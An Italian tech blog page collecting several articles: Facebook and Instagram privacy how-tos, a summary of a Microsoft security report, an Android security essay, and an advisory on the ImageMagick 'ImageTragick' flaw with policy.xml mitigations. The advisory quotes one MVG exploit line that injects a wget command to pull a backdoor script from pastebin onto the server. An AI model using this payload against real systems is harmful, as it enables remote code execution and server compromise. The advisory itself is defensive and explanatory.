02 Febbraio 2026
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Facebook: come scegliere chi può leggere i nostri post

Limitare la visibilità Facebook potrebbe sembrare un controsenso: in realtà, con il successo crescente dei social network aumenta anche il numero delle persone che possono entrare in contatto con il nostro profilo Facebook. Per questa ragione, a volte potrebbe essere utile “nascondere” alcuni contenuti agli occhi di amici, parenti, colleghi o conoscenti. In questa guida spiegheremo passo dopo passo come ottimizzare la privacy per limitare la visibilità Facebook.

Facebook: come scegliere chi può leggere i nostri post

Per limitare la visibilità Facebook è possibile inserire uno o più amici nelle "liste limitate".
Per limitare la visibilità Facebook è possibile inserire uno o più amici nelle “liste limitate”.

Quello della privacy sulla Rete è un tema particolarmente delicato e di costante attualità. Purtroppo, però, molto spesso la privacy dipende da fattori esterni alla nostra volontà, soprattutto quando si parla di social media.

Fortunatamente su Facebook è possibile esercitare un buon controllo su quello che postiamo e, nonostante la posizione “ambigua” dell’azienda sulla privacy e la condivisione dei dati personali, è quantomeno possibile limitare l’accesso al nostro profilo e ai contenuti ad amici, colleghi di lavoro o conoscenti.

Per limitare un amico, è possibile aggiungerlo alle cosiddette “Liste limitate“. In questo modo, indipendentemente che si tratti di un amico, un collega o un conoscente, questi vedrà esclusivamente i contenuti impostati come “pubblici” e non quelli che decideremo di condividere con tutti gli altri amici, che resteranno così “invisibili” per i contatti con limitazioni.

Molte persone non conoscono l’esistenza delle liste nascoste, per quanto siano relativamente semplici da utilizzare: una volta entrati nel proprio profilo, basterà cliccare sulla scheda Amici, individuare il contatto desiderato e cliccare sul tasto che ne identifica il gruppo di appartenenza (amici, familiari, etc…). Apparirà la voce Aggiungi a un’altra lista: da qui, selezionare la voce “Con restrizioni“.

Per limitare la visibilità Facebook è possibile "nascondere" i nuovi contenuti a uno o più utenti, in modo che non vedano cosa si pubblica sulla bacheca.
Per limitare la visibilità Facebook è possibile “nascondere” i nuovi contenuti a uno o più utenti, in modo che non vedano cosa si pubblica sulla bacheca.

In alternativa, dal menù di Facebook selezionare Impostazioni -> Blocco, quindi la voce “Modifica lista” dalla voce “Lista limitata“. Appariranno tutti gli amici con restrizioni: in alto a sinistra, selezionando tutti gli Amici, sarà possibile estendere le limitazioni ad altri amici Facebook.

Nessun timore: quando si inserisce un contatto nella lista limitata, questi non viene informato della nostra scelta. Potranno però sospettarlo, dal momento che non riceveranno più i nostri aggiornamenti.

Limitare la visibilità Facebook: le impostazioni della privacy

Agire correttamente sulle impostazioni della privacy aiuta a limitare la visibilità Facebook.
Agire correttamente sulle impostazioni della privacy aiuta a limitare la visibilità Facebook.

In alternativa all’utilizzo delle liste limitate, esistono altri metodi per limitare la visibilità Facebook nei confronti di determinati contatti. Da Impostazioni -> Privacy è possibile raggiungere l’opzione “Chi può vedere le mie cose?“, particolarmente utile per limitare l’accesso ai nostri contenuti pubblicati.

Per prima cosa, cliccare “Modifica” in corrispondenza della prima voce, “chi può vedere i tuoi post futuri“. Nell’icona per la selezione del pubblico, cliccare “Altre opzioni“, quindi “Personalizzata“. Qui, si potrà scegliere di condividere tutti i post futuri con determinati gruppi o singole persone: allo stesso modo, si potrà scegliere di non condividerli inserendo persone e gruppi indesiderati in un apposito campo.

Per vedere come gli amici “limitati” visualizzano la nostra bacheca, è sufficiente portarsi all’interno del nostro profilo, cliccare sull’icona a forma di tre pallini posizionata sulla parte destra dello schermo (a fianco della voce Visualizza Registro attività) e selezionare “Visualizza come…“. Di base, la schermata mostrerà il profilo pubblico: nella parte alta è però possibile cliccare su “Visualizza come una persona specifica” e individuare gli amici con restrizioni, per verificare che non visualizzano i contenuti che gli abbiamo negato.

Microsoft. I malware piu attivi sono i piu vecchi. Ricerca completa

Secondo una ricerca condotta da Microsoft e pubblicata nel paper Microsoft Security intelligence report le vulnerabilità che più colpiscono le reti aziendali oltre che quelle private non sono affatto i nuovi malware o ransomware ma invece gli exploits più vecchi.

I dati di questo studio sono presi da oltre 600 milioni di computer sparsi in tutto il mondo e ricavati dalle migliaia di segnalazioni inviate direttamente dai sistemi Microsoft.

Sono inoltre derivanti da centinaia e centinaia di server su cui gira il sistema di casa Redmond.

Come si vede anche nell’immagine i virus che più colpiscono i sistemi sono ben noti da molti anni il più attivo addirittura è del 2010.

Microsoft_SIR_2016_exploits

Oltre a poter approfondire nel download che offriamo qui sotto, nel rapporto completo si nota principalmente una totale mancanza di aggiornamenti in migliaia di computer.

I sistemi Microsoft hanno anche segnalato una larga mancanza di sicurezza nelle password e una facilità imbarazzante per il phishing di rubare credenziali importanti come quelle bancarie o di account email.

Oltre al continuo aggiornamento del software antivirus quello che più può fare la differenza è sicuramente l’attenzione dell’utente verso ciò che utilizza, verso i siti che naviga e soprattutto, anche se dovrebbe essere ben conosciuto da tutti, non aprire allegati pericolosi senza attenzione.

I nuovi malware che chiedono un riscatto dopo aver criptato tutti i file del computer non avrebbero alcuna possibilità di continuare ad esistere se tutti gli utenti prendessero l’abitudine di utilizzare backup giornalieri automatici in modo da mettere al sicuro i propri dati.

Ma vediamo, scaricando l’allegato qui presente, in modo approfondito tutte le 198 pagine della ricerca Microsoft.

SCARICA LA RICERCA MICROSOFT COMPLETA

ImageMagick. Il tuo sito è al sicuro dal bug ImageTragick?

ImageMagick è un popolare software utilizzato per convertire, modificare e manipolare le immagini. Ha librerie per tutti i linguaggi di programmazione comuni, tra cui PHP, Python, Ruby e molti altri. È anche molto semplice da usare, questo lo ha portato ad essere utilizzato da molti sviluppatori quando necessitano di opzioni di ritaglio dell’immagine o manipolazione di foto.

È anche possibile utilizzare ImageMagick per aggiungere annotazioni di testo alle immagini, ad esempio con l’aggiunta di una barra grigia nella parte inferiore con un avviso di copyright; per eseguire la correzione automatica del colore; per affinare la messa a fuoco di una serie di immagini; per la produzione di GIF animate per siti web; e altro ancora.

ImageMagick supporta anche diversi linguaggi di scripting come MSL (Magick Scripting Language) e MVG (Vector Graphics Magick), che consentono di descrivere le immagini, in entrambi i formati pixel-based e vettoriali.

Tuttavia, le ultime versioni di ImageMagick non filtrano correttamente i nomi dei file che vengono passati alle funzioni che gestiscono i protocolli esterni (come HTTPS). Questo permette a un attacker di eseguire i comandi a distanza caricando un’immagine. Il che porta ad una vulnerabilità RCE completa (esecuzione di comando remoto) nell’uploader di immagini. La vulnerabilità è così grave che i ricercatori hanno creato un divertente nick name più facile da ricordare al posto del codice CVE-2.016-3.714 ovvero ImageTragick.

 

Come funziona il bug ImageMagick

La vulnerabilità è molto semplice da sfruttare, un attaccante ha bisogno solo di uno strumento: l’uploader di un’immagine per fare leva sul codice di ImageMagick. Ci sono molte applicazioni web popolari e prodotti SaaS vulnerabili. Purtroppo, anche con tutta l’attenzione dei media, non tutti sono a conoscenza di questo problema.

Approfondendo questa vulnerabilità può effettivamente essere divisa in 4 diverse fasi, come ha spiegato molto bene Karim Valiev dal team Security Mail.Ru in questa discussione.

  1. Esecuzione di un comando a distanza attraverso upload di file MVG / .svg . Tramite un file un aggressore può forzare un comando di shell da eseguire sul server. Questo è un esempio molto semplice di come può funzionare:
    immagine su 0,0 1,1 'url (https: "; wget" http://pastebin.com/raw/badpastebin "-O /home/vhosts/file/backdoor.pl")'

    Quando viene aggiunto un file MVG, il comando wget viene eseguito e l’output del file salvato su pastebin in backdoor.pl.

  2. Cancellazione del file remoto. Quando si utilizza il pseudo protocollo “ephemeral:/” un utente malintenzionato può rimuovere i file sul server
  3. Spostamento di un file remoto: simile alla sua eliminazione, ma quando si utilizza il pseudo protocollo ” MSL: / “, l’attaccante può spostare i file
  4. La divulgazione dei file contenuti nel server quando si utilizza il protocollo ” label: @ “.

Quando si combinano tutti questi bug, gli attaccanti hanno una vasta gamma di opzioni e strumenti per compromettere una applicazione web che sfrutta ImageMagick. Si noti che solo il filtraggio per l’estensione MGV non è sufficiente, in quanto qualsiasi formato di file verrà ispezionato e il comando eseguito.

Si fa notare inoltre che altri strumenti IDS non rilevano e questo problema.

Come proteggere il vostro sito

Gli utenti dietro un WAF (Web Application Firewall) sono già protetti contro questa vulnerabilità, ma si consiglia comunque a tutti di seguire le raccomandazione degli sviluppatori ImageMagick e di modificare il file /etc/ImageMagick/policy.xml e disabilitare l’elaborazione delle MVG, HTTPS, EPHEMERAL, e MSL.

Nella parte seguente, aggiungere le righe:

<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />

Se non è possibile effettuare tali modifiche, disabilitare immediatamente la funzionalità di caricamento delle immagini,  fino a quando è possibile patchare correttamente. Meglio prevenire che curare.

Questo articolo è stato redatto seguendo le indicazioni fornite da Sucuri Security, Sophos, e ImageMagik. Qualsiasi novità verrà aggiunta a questo post aggiornandolo. Potete anche chiedere informazioni più specifiche o altri aiuti, per quello che possiamo aiuteremo a capire meglio questo pericolosa vulnerabilità.

Sicurezza Android: quanto (davvero) ci si può fidare?

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La sicurezza Android è un tema dibattuto da diversi anni a questa parte. C’è chi definisce Android un sistema più sicuro di Apple iOS, chi invece nutre seri dubbi legati soprattutto alla sua struttura open source. Dove sta la verità? scopriamolo insieme.

Sicurezza Android: il sistema è al sicuro. Gli utenti… forse

Sgombriamo il campo dal dubbio principale: Android è un sistema operativo molto sicuro. Possiede livelli di protezione multipli per tenere al riparo i dispositivi da malware e minacce informatiche, richiede permessi specifici per autorizzare le app a fare una qualsiasi operazione ed evita che il sistema possa essere compromesso dai più comuni pericoli della Rete.

Sicurezza Android: quanto, davvero, è sicuro il sistema operativo mobile di Google?
Sicurezza Android: quanto, davvero, è sicuro il sistema operativo mobile di Google?

In ogni caso, Android è un sistema aperto che crede negli utenti e nella community di sviluppatori, affinchè tutti all’unisono possano contribuire a migliorarlo. Ogni singolo utente può decidere di garantire milioni di permessi alle applicazioni o di negarli, può eseguire il root del dispositivo e accedere alle parti più remote del sistema operativo: può, in pratica, fare qualsiasi cosa.

Per questo, Android cerca di proteggere gli utenti da sè stessi, pur garantendogli sempre l’ultima parola e la possibilità di scelta. Per esempio, di default impedisce l’installazione di applicazioni esterne al Google Play Store per evitare che un utente poco esperto possa scaricare app corrotte ocontenenti malware. Allo stesso tempo, fornisce all’utente la possibilità di disattivare questa protezione e di garantire ogni tipo di permesso anche alle app sconosciute e, potenzialmente, maligne.

Come ogni discussione legata alla sicurezza, l’anello debole di un sistema è generalmente legato all’attività (e all’inesperienza) dei suoi utenti. Quindi, quando una persona afferma che Android è un sistema poco sicuro, afferma in realtà che i suoi utenti agiscono in modo poco sicuro.

Android fornisce il potere, ma da un grande potere derivano grandi responsabilità.

Sicurezza Android: come funziona la difesa “a livelli”

Da quando Android è stato progettato, la sicurezza ha sempre rappresentato uno dei suoi principi cardine.

Senza bisogno di paragonarlo ad altri sistemi operativi, svolge un ottimo lavoro assicurandosi che i processi non raccolgano troppe informazioni e non impieghino risorse eccessive. Senza il permesso dell’utente, nessuna app e nessun processo può ottenere il privilegio di accedere al sistema: l’utente, in ultima analisi, è sempre consapevole e regola ciò che avviene dietro le quinte.

Adrian Ludwid, capo della sicurezza Android, ha identificato un sistema di protezione "a livelli" capace di proteggere l'utente a 360°
Adrian Ludwid, capo della sicurezza Android, ha identificato un sistema di protezione “a livelli” capace di proteggere l’utente a 360°

Adrian Ludwig, capo della sicurezza Android, ha dichiarato durante una presentazione che “meno dello 0,001% delle app installate su Android sono in grado di evadere il sistema di difesa multilivello e, quindi, danneggiare gli utenti”. Android è quindi impenetrabile ai malware? Non del tutto, ma sicuramente offre margini di sicurezza molto elevati. Ricordando, comunque, che il potere resta sempre nelle mani dell’utente, che può scavalcare il sistema e spalancare le porte ai pericoli informatici.

Pr spiegare meglio il concetto, Ludwig ha presentato il grafico qui sotto. Per poter essere installata, una qualsiasi app deve passare attraverso il Google Play Store o, in alternativa, l’esplicito permesso dell’utente di installare un’applicazione proveniente da fonti sconosciute (opzione attivabile dalle impostazioni di Android).

Il sistema di sicurezza Android rende difficile ai pericoli della Rete penetrare all'interno dei dispositivi. A meno che non sia lo stesso utente a permetterlo
Il sistema di sicurezza Android rende difficile ai pericoli della Rete penetrare all’interno dei dispositivi. A meno che non sia lo stesso utente a permetterlo

A questo punto, l’utente stesso deve confermare l’installazione. L’installazione deve inoltre superare lo scoglio del filtro di sicurezza “App verificate” di Google, che allerta l’utente in caso di installazione di applicazioni considerate maligne (Google effettua un controllo in tempo reale con un database di applicazioni considerate a rischio). I dati riportati nel grafico sui livelli multipli di sicurezza indicano, in sintesi, l’incidenza dell’installazione di app malevoli sul totale delle installazioni effettuate dagli utenti Android.

Utilizzare Android nel modo tradizionale, installando le app da fonti riconosciute e usando sempre la testa quando si inserisce un qualunque file all’interno del dispositivo, riduce al minimo il rischio di contrarre malware, incrementando la sicurezza Android.

Esistono, tuttavia, alcune riflessioni interessanti sul discorso sicurezza Android:

  • Google non può proteggerci dai malware che non vede: tutte le considerazioni di sicurezza sopra riportate da Ludwig si basano sulle app installate attraverso Google Play o la funzione “Verifica App” per le applicazioni provenienti da fonti sconosciute. Il tasto di verifica, disponibile da Android 2.3, non è tuttavia un passaggio obbligatorio: l’utente può scegliere di saltare la verifica e installare un’app malevola all’insaputa di Google, che in questo modo non ha alcuno strumento per verificare il numero di malware effettivamente presenti sui dispositivi Android.
Di base il sistema di sicurezza Android non permette l'installazione di app provenienti da fonti esterne al Google Play Store. L'utente può tuttavia disattivare questa opzione dalle impostazioni di sicurezza
Di base il sistema di sicurezza Android non permette l’installazione di app provenienti da fonti esterne al Google Play Store. L’utente può tuttavia disattivare questa opzione dalle impostazioni di sicurezza
  • Android fornisce difese per il sistema operativo, non per i dati dell’utente. Si tratta in questo caso della mancanza di sicurezza più evidente e trascurata da Google. Un conto è affermare che un’app è sicura perchè non rappresenta una minaccia per il sistema operativo, ma che dire dell’utilizzo dei dati personali dell’utente? La difesa multilivello garantisce sicurezza fino al momento dell’installazione, ma dopo? Se il malware è progettato per catturare dati personali, posizione, lista dei contatti, indirizzo e-mail e altri dati sensibili, Google non lo rileva con il suo meccanismo di difesa. Ecco perchè, anche in questo caso, la sicurezza di Android si affida unicamente all’utente che installa l’app. Massima attenzione, quindi, a cosa si installa e ai permessi richiesti.
  • Molte difese Android possono essere bypassate in pochi passaggi dagli utenti. Esistono applicazioni molto diffuse disponibili solo al di fuori del Google Play Store. Ecco perchè, per molti utenti, l’attivazione dell’installazione app da fonti non autorizzati rappresenta un passaggio obbligato. In questo caso, l’utente può bypassare facilmente una delle barriere di sicurezza Android più solide. Anche quando l’utente esegue il root di sistema, o installa una ROM, esclude Google dal controllo dei malware, invalidando il meccanismo di difesa multilivello.

Sicurezza Android: cosa può fare l’utente per proteggersi?

O meglio: cosa può fare l’utente per proteggersi da sè stesso? Alla fine di ogni possibile considerazione, la rimozione dai malware dai dispositivi mobili resta e rimarrà un sogno perchè l’anello debole della catena di sicurezza sarà sempre l’utente.

Non si tratta ovviamente solo di Android: ogni sistema operativo, desktop o mobile, è affetto dal medesimo problema. Non importa quante difese possano essere erette intorno ad esso: nel momento in cui l’utente tocca il pulsante “Installa”, il gioco è fatto e ogni protezione viene scavalcata.

La sicurezza Android è affidata in massima parte all'utente, che può scegliere di scavalcare le barriere di protezione previste da Google
La sicurezza Android è affidata in massima parte all’utente, che può scegliere di scavalcare le barriere di protezione previste da Google

La cosa migliore da fare è imparare a riconoscere se un’applicazione è malevola. A cominciare dalle recensioni lasciate dagli altri utenti sugli store: si tratta di un importante “termometro” per capire non solo il livello di sicurezza, ma anche se l’applicazione svolge correttamente il compito per cui è stata progettata, ricevendo in anteprima una carrellata dei problemi più comuni e delle criticità legate al funzionamento. La sicurezza Android passa innanzitutto dalle scelte dell’utente.

Chiedersi sempre se i permessi richiesti dalla app sono proporzionati o eccessivi. Prima di procedere all’installazione, è possibile controllare in anteprima i privilegi che la app necessita per funzionare: se dovessero essere troppo esosi, meglio rivolgersi altrove e controllare se le app concorrenti, a parità di servizi offerti, richiedono minori privilegi.

Considerare seriamente la possibilità di installare una suite di sicurezza. Sullo store Google c’è davvero l’imbarazzo della scelta ed esistono numerose soluzioni (gratuite o a pagamento) per mettere in sicurezza un dispositivo Android. Dalla scansione in tempo reale alla localizzazione remota e blocco del dispositivo rubato, esistono tonnellate di funzioni per ogni esigenza.

Sicurezza Android: esiste davvero la sicurezza assoluta?

Il dibattito sulla sicurezza mobile, in particolare sulla sicurezza Android, ha assunto in questi anni un’importanza uguale, se non addirittura maggiore, della sicurezza dei sistemi desktop.

In molti casi le minacce mobile vengono ingigantite ed esagerate rispetto alla loro reale portata, identificando nei sistemi operativi l’anello debole della catena di sicurezza. Quando, invece, nella stragrande maggioranza dei casi i problemi sono dovuti alla cattiva condotta degli utenti.

La stragrande maggioranza di utenti Android installa le applicazioni dal Google Play Store, diminuendo sensibilmente i pericoli, ma questo non basta. Scaricare file dalla Rete in modo intelligente, evitando siti dalla dubbia sicurezza e cancellando le mail contenenti allegati sospetti sono pratiche di buona condotta informatica che costituiscono la prima linea di difesa. Queste, insieme a una buona suite di sicurezza informatica e al già citato sistema di sicurezza multilivello di Android,  rappresentano i tre baluardi contro la quasi totalità delle minacce informatiche.

Certo, l’imprevisto è sempre in agguato quando si parla di Internet, ma un conto è fare di tutto per prevenire i problemi, un altro è andarseli a cercare di proposito.

Aumentare la privacy Facebook: ecco come blindare i dati personali

Aumentare la privacy Facebook non è un’operazione così semplice come può sembrare. Facebook ha impostazioni della privacy complesse e, tanto per complicare le cose, le politiche aziendali legate a questo delicato argomento cambiano di continuo, insieme alle impostazioni stesse.

Seguendo queste semplici indicazioni passo dopo passo, però, è possibile “blindare” la privacy del nostro profilo ed essere sicuri che nessun dato, nessun post, nessuna foto possa essere visualizzato da persone sgradite.

Aumentare la privacy Facebook: cosa serve per iniziare

Spendere un po’del nostro tempo per aumentare la privacy Facebook è essenziale per mantenere una buona reputazione online. Restare aggiornati circa le modifiche alla privacy del profilo, inoltre, risulterà più semplice con una buona conoscenza delle basi di sicurezza e delle impostazioni del social network più famoso al mondo.

Per praticità, in questa guida abbiamo preferito utilizzare il sito web di Facebook e non la app per smartphone o tablet, data la diversità di impostazioni esistenti nelle app per i diversi sistemi operativi.

Aumentare la privacy Facebook: blindare il profilo

Per prima cosa, effettuiamo l’accesso a Facebook e apriamo il nostro profilo personale. Subito sotto all’immagine del profilo, cliccare sulla voce Informazioni. A questo punto Facebook mostrerà un ricco e corposo menù, suddiviso in capitoli (elencati nella colonna di sinistra) dove sarà possibile controllare nel dettaglio tutte le informazioni personali che abbiamo “dato in pasto” al Social network.

Da questo menù è possibile modificare il livello di privacy di ogni singolo elemento, semplicemente cliccando sull’icona a forma di matita a destra di ogni voce (se non fosse visibile, è sufficiente portare il mouse sopra la singola voce per fare apparire l’icona di modifica).

Solitamente la matita sarà accompagnata dal disegno di un mappamondo, a indicare che quel singolo dato viene condiviso con l’intera community di Facebook. Per modificare l’impostazione, cliccare sulla matita quindi sull’apposito menù a tendina per modificare le impostazioni di condivisione: Tutti, Amici, Solo io o Personalizzata. In questo modo, per ogni dato, si potrà scegliere di condividerlo solamente con il pubblico di nostro interesse.

Aumentare la privacy Facebook è possibile: dalle impostazioni della privacy è possibile agire su numerose opzioni
Aumentare la privacy Facebook è possibile: dalle impostazioni della privacy è possibile agire su numerose opzioni

Questo procedimento può essere applicato a tutte le voci del menù di sinistra: lavoro e istruzione, luoghi in cui hai vissuto, familiari e relazioni, avvenimenti importanti, informazioni personali, etc…

L’importante, è scegliere con attenzione chi vedrà cosa.

Aumentare la privacy Facebook: gestire gli amici

Subito sotto alla foto del nostro profilo, selezionare la voce Amici. Nell’angolo in alto a destra è presente un tasto a forma di matita: cliccarlo e selezionare Modifica Privacy.

Si aprirà una finestra pop-up con diverse voci. Lista degli amici indica chi può vedere i nostri amici, mentre Persone/Pagine seguite indica chi può visualizzare le persone, le aziende, le pagine che seguiamo. Per ogni voce, è possibile modificare attraverso l’apposito menù a tendina il relativo pubblico (Tutti, Amici, Solo io, Personalizzata).

Aumentare la privacy Facebook: chi vede le mie foto?

Accanto al tasto Amici è presente il pulsante Foto. Da qui, è possibile accedere alla voce Album. Il livello di privacy di ogni singolo album dipende dalla sua tipologia: le foto del profilo, per forza di cose, sono pubbliche e non possono essere rese private.

Tuttavia i caricamente dal cellulare, le foto del diario, le immagini di copertina e i singoli album possono essere modificati a livello di privacy anche foto per foto.

La privacy di ogni album è indicata da una piccola icona presente sull’icona di ogni copertina, nell’angolo in basso a destra. Cliccando l’icona, sarà possibile modificare rapidamente il pubblico che potrà accedervi.

Per aumentare la privacy Facebook è necessario "blindare" le foto pubblicate. Per ogni albun è possibile scegliere il pubblico con cui condividere tutti gli scatti
Per aumentare la privacy Facebook è necessario “blindare” le foto pubblicate. Per ogni albun è possibile scegliere il pubblico con cui condividere tutti gli scatti

Aumentare la privacy Facebook: gestire i “Mi Piace”

Negli anni può capitare di avere messo “Mi Piace” a migliaia di pagine, attività, film, programmi TV, personalità, libri, atleti, ristoranti e via dicendo. Per rivedere tutti i “Mi Piace” assegnati, dal profilo personale cliccare sulla voce Altro (nella barra menù subito sotto alla foto profilo), quindi su Mi Piace.

Una corretta gestione dei "Mi Piace" è indispensabile per aumentare la privacy Facebook.
Una corretta gestione dei “Mi Piace” è indispensabile per aumentare la privacy Facebook.

Da qui sarà possibile rimuovere tutti i “Mi Piace” che non interessano più, cliccando sul menù a tendina di ogni singola voce.

Cliccando sul tasto a forma di matita nell’angolo superiore destro e sulla voce Modifica privacy, è inoltre possibile selezionare il pubblico per la condivisione dei nostri Like. Tutti i “Mi piace” sono suddivisi in categorie, accanto alle quali il solito selettore permette di limitare il pubblico con il quale condividiamo questa nostra preferenza (di base, il pubblico è impostato su Tutti).

Aumentare la privacy Facebook: quali impostazioni modificare

Sistemate le opzioni di condivisione con il pubblico, è ora di concentrarci sulle impostazioni della privacy vere e proprie. Cliccare sull’icona a forma di triangolo rovesciato nell’angolo in alto a destra della pagina di Facebook, quindi sulla voce Impostazioni.

Si aprirà una nuova schermata: nella parte sinistra è presente un menù verticale con le principali impostazioni del Social network:

Privacy

Cliccando la voce Privacy, si aprirà la sezione “Impostazioni sulla privacy e strumenti“. Da qui, è possibile controllare chi può vedere i nostri post futuri, controllare tutti i post in cui siamo stati taggati, limitare il pubblico dei post condivisi con i nostri amici, scegliere chi può inviarci richieste di amicizia (utile per evitare scocciatori ed estranei invadenti), chi può accedere al nostro indirizzo e-mail, al numero di telefono e scegliere di rendere “invisibile” il nostro profilo Facebook sui motori di ricerca.

Stabilire chi può vedere i nostri contenuti è il primo passo per aumentare la privacy Facebook
Stabilire chi può vedere i nostri contenuti è il primo passo per aumentare la privacy Facebook
Impostazioni del diario e dei tag

Cliccando questa voce, si aprono numerose impostazioni suddivise in tre gruppi: chi può aggiungere cose sul mio diario (indica il pubblico che può scrivere o taggarci), chi può vedere le cose che sono sul mio diario (limita il pubblico di coloro che vedono il nostro diario, i post in cui siamo stati taggati o di coloro che possono vedere ciò che altre persone pubblicano sul nostro diario), come faccio a gestire i tag aggiunti dalle persone e i suggerimenti di tag (permette di controllare i tag prima che vengano aggiunti a Facebook e i suggerimenti legati ai tag).

In alcuni casi può essere utile limitare la possibilità per gli utenti di pubblicare contenuti sul nostro diario o di taggarci nelle foto
In alcuni casi può essere utile limitare la possibilità per gli utenti di pubblicare contenuti sul nostro diario o di taggarci nelle foto

Per ogni singola opzione potrebbe essere utile impostare una privacy personalizzata, condividendo per esempio un’opzione con gli amici ma negandone al contempo la visione ad alcuni sotto-gruppi, come gli amici di lavoro o i parenti.

Applicazioni

Cliccando sulla voce Applicazioni nella barra di sinistra, è possibile impostare con grande precisione tutte le impostazioni legate alla privacy delle applicazioni. Le Facebook App, infatti, sono generalmente assetate dei nostri dati personali e tendono a condividerli con un vasto pubblico.

Da questo menù è possibile impostare, per ogni applicazione, quali dati personali condividere e il pubblico che può visualizzare il nostro utilizzo dell’applicazione stessa. Per farlo, basta cliccare sulla matita presente all’interno delle icone delle varie applicazioni, quindi impostare la visibilità e le informazioni personali fornite all’applicazione.

Applicazioni troppo esose di dati personali possono essere facilmente eliminate cliccando sulla “X” a fianco della matita.

Inserzioni

Le nostre abitudini su Facebook possono essere sfruttate dallo stesso social per finalità commerciali. Può capitare, ad esempio, di avere messo “Mi Piace” sulla pagina di un ristorante e di visualizzare subito dopo pubblicità Facebook legate ai ristoranti. Magari nella medesima città.

Non si tratta di un caso: dal menù Inserzioni di Facebook è infatti possibile disattivare l’opzione “Inserzioni basate sul modo in cui uso siti web e applicazioni“, che rende visibili inserzioni basate sui nostri interessi di Facebook.

Le inserzioni pubblicitarie ci mostrano contenuti sponsorizzati di altri utenti o aziende. Per aumentare la privacy Facebook può essere opportuno agire su alcuni filtri, come le inserzioni basate sui nostri interessi
Le inserzioni pubblicitarie ci mostrano contenuti sponsorizzati di altri utenti o aziende. Per aumentare la privacy Facebook può essere opportuno agire su alcuni filtri, come le inserzioni basate sui nostri interessi

Allo stesso modo, è possibile limitare la voce “Inserzioni con le mie azioni social”, per stabilire chi può vedere le nostre azioni associate alle inserzioni Facebook (come l’aggiunta di un “Mi Piace” a una pubblicità).

Infine, la voce “Inserzioni in base alle mie preferenze” permette di gestire le preferenze con cui Facebook ci mostra le inserzioni pubblicitarie. Cliccando sul tasto “Le tue preferenze relative alle inserzioni” Facebook ci mostra quali contenuti potrebbero interessarci, elaborati sulla base delle informazioni da noi inserite su Facebook e sulle nostre abitudini social. Dal menù a tendina è possibile aggiungere o cancellare le singole voci, per essere certi di non visualizzare contenuti sgraditi.

Privacy Instagram, i 7 trucchi per migliorarla

Parlare di privacy Instagram è un tema tutt’altro che banale. Instagram non è semplicemente un’applicazione smartphone per l’aggiunta di filtri colore, effetti scenografici, sfocature e ritocchi artistici alle foto che scattiamo. Instagram è soprattutto condivisione, delle nostre foto, con gli amici, gli altri utenti Instagram e, in ultima analisi, con il mondo.

Privacy Instagram: come mantenere private le nostre foto e i nostri dati personali

A volte, però, potremmo non essere in vena di condividere i nostri scatti Instagram proprio con tutti. Potremmo volerli mantenere riservati o visibili a una strettissima cerchia di amici. Ecco come fare per mostrare le nostre opere d’arte Instagram a un pubblico ristretto, agendo sulle impostazioni della privacy:

1. Privacy Instagram: modificare le impostazioni della privacy per il Foto Feed

Scattare una foto con Instagram non significa, soltanto, salvarla nella galleria fotografica del nostro smartphone. Vuol dire soprattutto pubblicarla all’interno del nostro Foto Feed di Instagram che, di default, è aperto agli occhi di tutti gli utenti della community.

Le opzioni di privacy Instagram sono raccolte all'interno del menù Impostazioni
Le opzioni di privacy Instagram sono raccolte all’interno del menù Impostazioni

Per chi non desidera tutta questa visibilità, è possibile attivare un Account privato. In questo modo, nessuno potrà vedere i nostri scatti fotografici pubblicati su Instagram, che si trasformerà in una vera e propria galleria fotografica privata. Ecco come procedere:

  • Una volta aperta l’applicazione, toccare l’icona presente in basso a destra (a forma di omino mezzobusto), quindi l’icona delle Impostazioni presente in alto a destra (in iOS ha la forma di un ingranaggio, su Android è formata da tre puntini verticali).
  • Scegliere la voce “Account privato” e attivarla con l’apposita icona

A questo punto, solo le persone che approveremo potranno vedere le foto e i video che pubblicheremo su Instagram. Attenzione però: questa scelta non avrà nessun effetto sui nostri seguaci attuali, che continueranno a vedere tutto ciò che pubblicheremo.

Ovviamente qualora decidessimo di condividere uno scatto via Facebook o Twitter, l’account privato perderà il suo effetto e il contenuto sarà visibile in base alle regole di condivisione del Social di destinazione.

Se invece ci chiedessimo come proteggere la “proprietà intellettuale” dei nostri scatti, per essere certi che nessuno li possa scaricare e spacciarli come opera di altre persone, è possibile fare riferimento a questa nostra guida.

2. Privacy Instagram: attenzione alle impostazioni della privacy Facebook

Instagram permette di condividere i propri contenuti su Facebook attraverso un canale preferenziale. Quindi, ecco la domanda: quando una foto di Instagram viene condivisa su Facebook, quali persone potranno visualizzarla?

Esiste un modo preciso per controllare (e modificare) questo pubblico:

  • Accedere al proprio account Facebook, quindi cliccare su Impostazioni -> Applicazioni
  • Trovare nella pagina l’icona di Instagram, quindi cliccare sull’icona a forma di matita (a fianco del nome) e modificare la voce Visibilità dell’applicazione, portandola da “Tutti” a “Solo io“. Da qui è anche possibile impostare un pubblico personalizzato, ristretto alla nostra cerchia di amici o utenti selezionati.
Le opzioni di privacy Instagram passano anche attraverso Facebook: quando si collegano i due account, è necessario stabilire chi potrà avere accesso alle nostre foto
Le opzioni di privacy Instagram passano anche attraverso Facebook: quando si collegano i due account, è necessario stabilire chi potrà avere accesso alle nostre foto

3. Privacy Instagram: bloccare i seguaci sconosciuti

Bloccare un utente sconosciuto o molesto è importante per aumentare la privacy Instagram
Bloccare un utente sconosciuto o molesto è importante per aumentare la privacy Instagram

Al pari di Twitter, su Instagram tutti possono seguire il feed fotografico di tutti. Tranne, ovviamente, gli account privati. Cosa fare, quindi, quando un perfetto sconosciuto ha iniziato a seguire il nostro profile e le nostre foto prima che impostassimo il nostro account come privato? Ecco come procedere:

  • Per prima cosa, accedere al profilo personale attraverso l’icona in basso a destra (a forma di mezzobusto)
  • Nella parte alta della schermata, vengono indicati i nostri Seguaci. Fare clic sul numero visualizzato per aprire la lista completa
  • Toccare il nome del seguace sconosciuto, quindi l’icona delle Impostazioni in alto a destra (a forma di ingranaggio o tre pallini verticali), quindi selezionare Blocca. L’utente in questione non potrà più entrare in contatto con i nostri contenuti Instagram.

4. Privacy Instagram: modificare le impostazioni del profilo

Tutti i nostri seguaci hanno libero accesso alle informazioni indicate nel nostro profilo Instagram personale.

Tuttavia, l’unica informazione obbligatoria da inserire in un profilo Instagram è il nome (che può anche essere di fantasia). Per una migliore privacy, è possibile eliminare tutte le altre informazioni inserite (mail, numero di telefono, sito web, biografia, etc…).

